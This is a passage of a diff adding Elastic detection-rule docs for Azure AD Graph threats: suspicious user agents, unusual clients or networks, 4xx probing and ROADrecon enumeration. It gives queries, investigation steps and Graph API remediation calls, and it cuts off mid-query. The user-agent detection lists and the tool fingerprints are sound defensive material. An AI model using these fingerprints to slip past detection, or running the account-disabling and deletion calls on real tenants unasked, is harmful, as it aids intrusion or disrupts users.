https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Cloud API +** ID: T1059.009 +** Reference URL: https://attack.mitre.org/techniques/T1059/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-suspicious-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-suspicious-user-agent.asciidoc new file mode 100644 index 0000000000..c736c7c469 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-suspicious-user-agent.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-azure-ad-graph-access-with-suspicious-user-agent]] +=== Azure AD Graph Access with Suspicious User-Agent + +Identifies Azure AD Graph (graph.windows.net) requests originating from user-agent strings associated with offensive tooling, scripting libraries, or generic HTTP clients. First-party Microsoft components calling AAD Graph identify with specific user agents such as "Microsoft Azure Graph Client Library", "Microsoft ADO.NET Data Services", or "Microsoft.OData.Client". Anything outside that recognised set is either a developer prototyping against the legacy API or an enumeration tool walking the directory. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 9m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview +* https://github.com/dirkjanm/ROADtools +* https://www.sophos.com/en-us/research/tampering-with-conditional-access-policies-using-azure-ad-graph-api +* https://github.com/gerenios/aadinternals + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure AD Graph +* Data Source: Azure AD Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: Entra ID +* Domain: Identity + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AD Graph Access with Suspicious User-Agent* + + +Azure AD Graph (graph.windows.net) is the legacy directory REST API that Microsoft has been retiring for years. +Legitimate first-party traffic against it is dominated by a small set of recognisable user agents (`Microsoft.OData.Client`, +`Microsoft Azure Graph Client Library`, `Microsoft ADO.NET Data Services`, the Azure portal with a Chrome user agent, +and an empty-UA tail from first-party AppIds). Traffic identifying as Python, aiohttp, curl, Go-http-client, or any +of the `*hound` enumeration families is almost always either a developer prototype or adversary tooling. This rule +flags any such request even at a single event, because tooling samples for AAD Graph are inherently low-volume in +normal tenants. + + +*Possible investigation steps* + + +- Confirm the matching user agent. + - `user_agent.original` (e.g., `aiohttp`, `AADInternals`, `curl`, `bav2ropc`). +- Identify the caller and the calling client. + - `user.id` for the caller, `azure.aadgraphactivitylogs.properties.app_id` for the OAuth client. +- Review which directory object types were touched. + - `url.path` (e.g., `/users`, `/policies`, `/servicePrincipals`). +- Check the success / failure pattern. + - `http.response.status_code`. Many 4xx responses suggest permission probing. +- Cross-reference with the API version. + - `azure.aadgraphactivitylogs.properties.api_version`. A non-Microsoft UA combined with `1.6-internal` or `1.61-internal` is a stronger signal of offensive tooling. +- Pivot to sign-in logs (`logs-azure.signinlogs-*`) for the same user / source IP to understand how the token was obtained. +- Confirm the activity is not attributable to authorized testing (red team engagement, penetration test, internal tooling validation) before treating as malicious. + + +*Response and remediation* + + +- Revoke refresh tokens and active sessions for the calling user. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the user if the alert is high-confidence or you need to halt further activity while investigation continues. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Check for device registrations created by the user during or around the burst window and remove rogue devices. + - `GET /v1.0/users/{id}/registeredDevices` and `GET /v1.0/users/{id}/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}`. + - Do this BEFORE session revocation: device-bound PRTs survive `revokeSignInSessions`. +- If the calling application has no legitimate AAD Graph dependency, block further use by that app. + - `PATCH /beta/applications/{id}` with body `{"authenticationBehaviors": {"blockAzureADGraphAccess": true}}`. + - This property lives on the Graph beta endpoint, not v1.0. +- Apply Conditional Access targeting the AAD Graph audience for the affected user population. + + +==== Setup + + + +*Azure AD Graph Activity Logs* + +Requires Azure AD Graph Activity Logs ingested into `logs-azure.aadgraphactivitylogs-*` via the Elastic Azure +integration (Azure Event Hub). Enable the `AzureADGraphActivityLogs` diagnostic-settings category on Entra ID. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.aadgraphactivitylogs-* metadata _id, _version, _index + +| where data_stream.dataset == "azure.aadgraphactivitylogs" + and azure.aadgraphactivitylogs.properties.actor_type == "User" + and user_agent.original is not null +| eval Esql.ua_lower = to_lower(user_agent.original) +| where Esql.ua_lower like "*fasthttp*" + or Esql.ua_lower like "*aiohttp*" + or Esql.ua_lower like "*hound*" + or Esql.ua_lower like "*aadinternals*" + or Esql.ua_lower like "*go-http-client*" + or Esql.ua_lower like "python*" + or Esql.ua_lower like "*curl/*" + or Esql.ua_lower like "*okhttp*" + or Esql.ua_lower like "*axios*" + or Esql.ua_lower like "*node-fetch*" + or Esql.ua_lower like "*go-resty*" + or Esql.ua_lower like "*bav2ropc*" + or Esql.ua_lower like "*undici*" +| keep + _id, + _version, + _index, + @timestamp, + user.id, + source.ip, + source.as.organization.name, + user_agent.original, + azure.aadgraphactivitylogs.properties.app_id, + azure.aadgraphactivitylogs.properties.api_version, + url.path, + http.response.status_code, + azure.tenant_id, + Esql.ua_lower + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-client-and-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-client-and-user.asciidoc new file mode 100644 index 0000000000..cc6063eaf3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-client-and-user.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-client-and-user]] +=== Azure AD Graph Access with Unusual Client and User + +Identifies Azure AD Graph (graph.windows.net) requests where the combination of calling OAuth client ("azure.aadgraphactivitylogs.properties.app_id") and signed-in user ("user.id") has not been observed in the tenant in a historical window. A user appearing against AAD Graph under an OAuth client that has not previously authenticated that user is a sign of a FOCI swap, a phished refresh token being redeemed for a new client, or an adversary running tooling under a client identity the user does not normally use. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.aadgraphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/secureworks/family-of-client-ids-research +* https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure AD Graph +* Data Source: Azure AD Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Entra ID +* Platform: Azure +* Domain: Identity + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AD Graph Access with Unusual Client and User* + + +A (client, user) pair appearing on AAD Graph for the first time in 14 days is a high-signal indicator. Legacy +AAD Graph traffic is dominated by a small set of recognised first-party callers per user; new combinations +suggest one of: + +- A FOCI refresh-token swap landed under a new client identity. +- The user newly consented to (or was phished into consenting to) an OAuth application. +- An adversary is using stolen tokens / credentials under a client identity the user does not normally use. + + +*Possible investigation steps* + + +- Identify the calling client and confirm whether the app is sanctioned. + - `azure.aadgraphactivitylogs.properties.app_id`. Pivot to Azure portal → Enterprise Applications to check whether it is first-party, sanctioned third-party, or unfamiliar. +- Identify the user and check the surrounding auth context. + - `user.id`, then pivot to sign-in logs (`logs-azure.signinlogs-*`) for the same user around the same time. Look for unusual sign-in geography, MFA bypass, or risky session signals. +- Review source posture. + - `user_agent.original`, `source.ip`, `source.as.organization.name`. Residential / VPS / anonymising-network egress raises priority. +- Review what was queried. + - `url.path`. Bulk recon or User-collection access via internal API versions raises triage priority. +- Check tenant-wide blast radius for the client. + - Is the same client ID hitting AAD Graph for many other users? That pattern points to large-scale consent abuse rather than a single account compromise. +- Confirm the activity is not attributable to authorized testing (red team engagement, penetration test, internal tooling validation) before treating as malicious. + + +*Response and remediation* + + +- Revoke refresh tokens and active sessions for the calling user. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the user if the alert is high-confidence or you need to halt further activity while investigation continues. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- If the client is not a sanctioned application, revoke its OAuth consent. + - `GET /v1.0/oauth2PermissionGrants?$filter=clientId eq '{servicePrincipalId}'`, then `DELETE /v1.0/oauth2PermissionGrants/{grantId}`. +- Check for device registrations created by the user during or around the burst window and remove rogue devices. + - `GET /v1.0/users/{id}/registeredDevices` and `GET /v1.0/users/{id}/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}`. + - Do this BEFORE session revocation: device-bound PRTs survive `revokeSignInSessions`. +- If the calling application has no legitimate AAD Graph dependency, block further use by that app. + - `PATCH /beta/applications/{id}` with body `{"authenticationBehaviors": {"blockAzureADGraphAccess": true}}`. + - This property lives on the Graph beta endpoint, not v1.0. + + +==== Setup + + + +*Azure AD Graph Activity Logs* + +Requires Azure AD Graph Activity Logs ingested into `logs-azure.aadgraphactivitylogs-*` via the Elastic Azure +integration. Enable the `AzureADGraphActivityLogs` diagnostic-settings category on Entra ID. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.aadgraphactivitylogs" and + azure.aadgraphactivitylogs.properties.actor_type : "User" and + azure.aadgraphactivitylogs.properties.app_id: (* and not ( + "74658136-14ec-4630-ad9b-26e160ff0fc6" or + "bb8f18b0-9c38-48c9-a847-e1ef3af0602d" or + "00000006-0000-0ff1-ce00-000000000000" or + "18ed3507-a475-4ccb-b669-d66bc9f2a36e") + ) and user.id:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-user-and-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-user-and-asn.asciidoc new file mode 100644 index 0000000000..c70acb6e88 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-user-and-asn.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-34-azure-ad-graph-access-with-unusual-user-and-asn]] +=== Azure AD Graph Access with Unusual User and ASN + +Identifies Azure AD Graph (graph.windows.net) requests originating from network sources outside the major public-cloud and Microsoft ASNs that legitimate first-party callers normally come from. Adversary tooling typically rides on commodity hosting (residential ISPs, VPS providers, anonymisers) which produces an ASN distribution very different from the Microsoft / AWS / GCP / Akamai / Cloudflare ranges that dominate legitimate AAD Graph traffic. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.aadgraphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview +* https://github.com/dirkjanm/ROADtools + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure AD Graph +* Data Source: Azure AD Graph Activity Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID +* Platform: Azure +* Domain: Identity + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AD Graph Access with Unusual User and ASN* + + +Legitimate AAD Graph callers in most tenants come from a small set of ASNs: Microsoft itself, the major +hyperscalers (AWS, GCP), and a handful of CDN / edge -networks that proxy first-party traffic. AAD Graph +traffic originating from outside that set, especially from residential ISPs, generic VPS providers, or +anonymising networks, is a signal worth a closer look. This rule excludes the common Microsoft / AWS / +GCP / Akamai / Cloudflare ASN organisations and surfaces everything else. + + +*Possible investigation steps* + + +- Identify the ASN and the geographic context. + - `source.as.organization.name`, `source.as.number`, `source.geo.country_name`, `source.geo.city_name`. +- Identify the user and whether the source matches normal behavior. + - `user.id` and recent legitimate sign-in geo / network for the same user. +- Cross-check user-agent and calling client for known offensive tooling fingerprints. + - `user_agent.original` (`aiohttp`, `AADInternals`, `curl`, etc.) and `azure.aadgraphactivitylogs.properties.app_id` (FOCI / first-party client IDs). +- Pivot to sign-in logs (`logs-azure.signinlogs-*`) for the same user / source IP to understand how the calling token was obtained. +- Check tenant-wide blast radius. + - Are other users in the tenant calling from the same ASN within the window? If so, treat as a systematic intrusion rather than a single account compromise. +- Confirm the activity is not attributable to authorized testing (red team engagement, penetration test, internal tooling validation) before treating as malicious. + + +*Response and remediation* + + +- Revoke refresh tokens and active sessions for the calling user. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the user if the alert is high-confidence or you need to halt further activity while investigation continues. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Check for device registrations created by the user during or around the burst window and remove rogue devices. + - `GET /v1.0/users/{id}/registeredDevices` and `GET /v1.0/users/{id}/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}`. + - Do this BEFORE session revocation: device-bound PRTs survive `revokeSignInSessions`. +- Apply Conditional Access requiring compliant device or trusted network for AAD Graph access for the affected user population. +- If the ASN belongs to known abusive infrastructure, add it to a tenant block list (Named Locations / CA policy). + + +==== Setup + + + +*Azure AD Graph Activity Logs* + +Requires Azure AD Graph Activity Logs ingested into `logs-azure.aadgraphactivitylogs-*` via the Elastic Azure +integration. Enable the `AzureADGraphActivityLogs` diagnostic-settings category on Entra ID. ASN enrichment +depends on the geoip / ASN ingest pipelines applied during integration ingestion. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.aadgraphactivitylogs and + user.id:* and source.as.number:(* and + not ( + 3598 or 7224 or 8068 or 8069 or 8070 or + 8071 or 8072 or 8073 or 8074 or 8075 or + 8987 or 12076 or 14618 or 15169 or 16509 or + 19527 or 36040 or 36384 or 36385 or 36492 or + 39111 or 394089 or 396982 + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-high-4xx-error-ratio-from-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-high-4xx-error-ratio-from-user.asciidoc new file mode 100644 index 0000000000..f9f4817f6a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-high-4xx-error-ratio-from-user.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-azure-ad-graph-high-4xx-error-ratio-from-user]] +=== Azure AD Graph High 4xx Error Ratio from User + +Detects an unusually high ratio of 4xx HTTP responses from Azure AD Graph (graph.windows.net) per calling identity in a short window. Post-identity compromise leading to recon often leaves a tail of 403s and 404s as tooling walks endpoints it does not have permission for, asks for object IDs it does not have, or uses an OAuth client that has been pulled off the AAD Graph allow-list. Surges or an unexpected ratio of 4xx responses concentrated on a single (user and ASN) pair are characteristic of automated tooling rather than human or first-party traffic. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-8h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/dirkjanm/ROADtools +* https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview +* https://aadinternals.com/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure AD Graph +* Data Source: Azure AD Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: Entra ID +* Domain: Identity + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AD Graph High 4xx Error Ratio from User* + + +A high 4xx rate on AAD Graph from a single calling identity is consistent with automated permission probing, +recon against endpoints the caller is not authorized for, or a token whose client has been blocked from AAD +Graph. The pattern is structurally distinct from sparse 4xx in first-party traffic. + + +*Possible investigation steps* + + +- Confirm the surge volume and ratio. + - Review `Esql.error_rate` (4xx as a fraction of total) and `Esql.total_calls` to assess the magnitude. +- Identify the caller and calling client. + - `user.id` for the calling identity, `source.ip` for the egress, and `Esql.app_ids` (from `azure.aadgraphactivitylogs.properties.app_id`) for the OAuth client. +- Review which endpoints produced the errors. + - `Esql.sample_paths` captures the distinct `url.path` values that 4xx'd. +- Correlate with successful calls from the same user / source to understand what reached AAD Graph. +- Pivot to sign-in logs (`logs-azure.signinlogs-*`) for the same user / source for token-mint context. +- Confirm the activity is not attributable to authorized testing (red team engagement, penetration test, internal tooling validation) before treating as malicious. + + +*Response and remediation* + + +- Revoke refresh tokens and active sessions for the calling user if the surge indicates unauthorized recon. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the user if the alert is high-confidence or you need to halt activity while investigation continues. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- If the calling application has no legitimate AAD Graph dependency, block further use by that app. + - `PATCH /beta/applications/{id}` with body `{"authenticationBehaviors": {"blockAzureADGraphAccess": true}}`. + - This property lives on the Graph beta endpoint, not v1.0. +- Apply Conditional Access targeting the AAD Graph audience for the affected user population. + + +==== Setup + + + +*Azure AD Graph Activity Logs* + +Requires Azure AD Graph Activity Logs ingested into `logs-azure.aadgraphactivitylogs-*` via the Elastic Azure +integration. Enable the `AzureADGraphActivityLogs` diagnostic-settings category on Entra ID. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.aadgraphactivitylogs-* metadata _id, _version, _index + +| where data_stream.dataset == "azure.aadgraphactivitylogs" +| eval Esql.is_4xx = case( + http.response.status_code >= 400 and + http.response.status_code < 500, 1, 0 + ) +| eval Esql.time_window = date_trunc(2 minutes, @timestamp) +| stats + Esql.total_calls = count(*), + Esql.azure_tenants = values(azure.tenant_id), + Esql.errors = sum(Esql.is_4xx), + Esql.url_path_count = count_distinct(url.path), + Esql.api_versions = values(azure.aadgraphactivitylogs.properties.api_version), + Esql.app_ids = values(azure.aadgraphactivitylogs.properties.app_id), + Esql.source_ips = values(source.ip), + Esql.source_asn_name = values(source.as.organization.name), + Esql.user_agents = values(user_agent.original), + Esql.first_seen = min(@timestamp), + Esql.last_seen = max(@timestamp) + by + user.id, + source.as.number, + Esql.time_window +| eval Esql.error_rate = round(Esql.errors * 1.0 / Esql.total_calls, 2) +| where + Esql.total_calls > 20 and Esql.errors >= 10 and + Esql.error_rate >= 0.4 and Esql.url_path_count >= 15 +| keep + user.id, + source.as.number, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-potential-enumeration-roadrecon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-potential-enumeration-roadrecon.asciidoc new file mode 100644 index 0000000000..a496c133a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-ad-graph-potential-enumeration-roadrecon.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-34-azure-ad-graph-potential-enumeration-roadrecon]] +=== Azure AD Graph Potential Enumeration (ROADrecon) + +Detects an Azure AD Graph (graph.windows.net) burst from a user-agent identifying as "aiohttp" (the default HTTP library used by ROADrecon's "gather" command) where a single calling identity issues many requests in a short window. ROADrecon walks every interesting directory object type via aiohttp, producing a large volume of requests from one user / source IP / UA triple. The combination of "aiohttp" UA with a burst threshold is a structural ROADrecon signature; legitimate first-party Microsoft components do not identify as aiohttp. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/dirkjanm/ROADtools +* https://github.com/dirkjanm/ROADtools/blob/master/roadrecon/roadtools/roadrecon/gather.py +* https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure AD Graph +* Data Source: Azure AD Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: Entra ID +* Domain: Identity + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AD Graph Potential Enumeration (ROADrecon)* + + +This is an ES|QL aggregation rule. Alert documents contain summarized fields per burst window: the calling identity, the tenant, and a one-minute bucket. The alert itself is the signal that something resembling ROADrecon's `gather` walk happened against AAD Graph; the actual investigation happens against the raw `logs-azure.aadgraphactivitylogs-*` events for the same identity and window. + + +*Possible investigation steps* + + +- Confirm the burst by filtering raw AAD Graph activity for the alerting user, tenant, and time window. + - Filter `logs-azure.aadgraphactivitylogs-*` on the alerting user, tenant, and burst window. + - ROADrecon's full `gather` walks ~16 directory collections; five or more in a single minute is the structural fingerprint. +- Tool fingerprint: aiohttp UA plus the hardcoded internal API version. + - `user_agent.original` contains `aiohttp`. + - `api_version = 1.61-internal` (hardcoded in `gather.py`, returns internal-only fields like `strongAuthenticationDetail`). + - No first-party Microsoft component identifies as aiohttp or pins `1.61-internal`. +- Calling client + auth method: the typical device-code-flow ROADrecon entrypoint. + - ROADrecon is usually pointed at the Azure CLI client (`04b07795-…`) via the `-c` flag. + - Uses a public-client auth method (no client secret or certificate). +- HTTP shape distinguishes enumeration from operator follow-on. + - `gather` reads only, so GETs dominate. + - A 403/404 tail indicates the identity probing endpoints it lacks permission for. + - PATCH / POST / DELETE in the same burst means the operator did more than enumerate. +- Source posture: residential ISP, generic VPS, or anonymising-network egress raises triage priority. +- Pivot to sign-in logs (`logs-azure.signinlogs-*`) via the sign-in correlation ID on each AAD Graph event to land on the originating token-mint. +- Pivot to audit logs (`logs-azure.auditlogs-*`) for any directory writes by the same user near the burst that suggest persistence or modification activity. +- Confirm the activity is not attributable to authorized testing before treating as malicious. + - Check for red team engagement, penetration test, or internal tooling validation. + - Validate against the engagement window and the operator's known source range. + + +*Response and remediation* + + +- Enumerate device registrations created by the user during or around the burst window. + - `GET /v1.0/users/{id}/registeredDevices` and `GET /v1.0/users/{id}/ownedDevices`. + - De-register anything not attributable to a known endpoint via `DELETE /v1.0/devices/{deviceObjectId}`. + - Do this BEFORE session revocation: device-bound PRTs survive `revokeSignInSessions`. +- Revoke refresh tokens and active sessions for the calling user. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the user if the alert is high-confidence or you need to halt further activity while investigation continues. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Audit OAuth grants and app role assignments the user holds; revoke anything minted from a kit-egress or otherwise suspicious source. + - `GET /v1.0/oauth2PermissionGrants?$filter=principalId eq '{id}'`, revoke via `DELETE /v1.0/oauth2PermissionGrants/{grantId}`. + - `GET /v1.0/users/{id}/appRoleAssignments`, revoke via `DELETE /v1.0/servicePrincipals/{spId}/appRoleAssignedTo/{assignmentId}`. +- Reset the user's password and audit authentication methods added during the window. + - `GET /v1.0/users/{id}/authentication/methods` to list. + - Remove anything unexpected via the method-type-specific endpoint. +- Audit directory writes by the user near the burst and roll back unauthorized changes. + - Query `logs-azure.auditlogs-*` for `Register device`, `Update user`, `User registered security info`, role assignment activity by the same user in the window. +- If the calling application has no legitimate AAD Graph dependency, block further use by that app. + - `PATCH /beta/applications/{id}` with body `{"authenticationBehaviors": {"blockAzureADGraphAccess": true}}`. + - This property lives on the Graph beta endpoint, not v1.0. + + +==== Setup + + + +*Azure AD Graph Activity Logs* + +Requires Azure AD Graph Activity Logs ingested into `logs-azure.aadgraphactivitylogs-*` via the Elastic Azure integration. Enable the `AzureADGraphActivityLogs` diagnostic-settings category on Entra ID. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.aadgraphactivitylogs-* metadata _id, _version, _index + +| where data_stream.dataset == "azure.aadgraphactivitylogs" + and to_lower(user_agent.original) like "*aiohttp*" + +| eval Esql.target_endpoints = case( + url.path like "*/eligibleRoleAssignments*", "eligibleRoleAssignments", + url.path like "*/roleAssignments*", "roleAssignments", + url.path like "*/users*", "users", + url.path like "*/groups*", "groups", + url.path like "*/servicePrincipals*", "servicePrincipals", + url.path like "*/applications*", "applications", + url.path like "*/devices*", "devices", + url.path like "*/directoryRoles*", "directoryRoles", + url.path like "*/roleDefinitions*", "roleDefinitions", + url.path like "*/administrativeUnits*", "administrativeUnits", + url.path like "*/contacts*", "contacts", + url.path like "*/oauth2PermissionGrants*", "oauth2PermissionGrants", + url.path like "*/authorizationPolicy*", "authorizationPolicy", + url.path like "*/settings*", "settings", + url.path like "*/policies*", "policies", + url.path like "*/tenantDetails*", "tenantDetails", + "other" + ) +| where Esql.target_endpoints != "other" + +| eval Esql.time_window = date_trunc(1 minutes, @timestamp) + +| stats + Esql.request_count = count(*), + Esql.distinct_endpoints = count_distinct(Esql.target_endpoints), + Esql.api_versions = values(azure.aadgraphactivitylogs.properties.api_version), + Esql.app_ids = values(azure.aadgraphactivitylogs.properties.app_id), + Esql.user_agent = values(user_agent.original), + Esql.http_methods = values(http.request.method), + Esql.status_codes = values(http.response.status_code), + Esql.source_ips = values(source.ip), + Esql.source_asn_orgs = values(source.`as`.organization.name), + Esql.source_countries = values(source.geo.country_name), + Esql.actor_types = values(azure.aadgraphactivitylogs.properties.actor_type), + Esql.client_auth_methods = values(azure.aadgraphactivitylogs.properties.client_auth_method), + Esql.session_ids = values(azure.aadgraphactivitylogs.properties.session_id), + Esql.sign_in_activity_ids = values(azure.aadgraphactivitylogs.properties.sign_in_activity_id), + Esql.scopes = values(azure.aadgraphactivitylogs.properties.scopes), + Esql.first_seen = min(@timestamp), + Esql.last_seen = max(@timestamp) + by + user.id, + 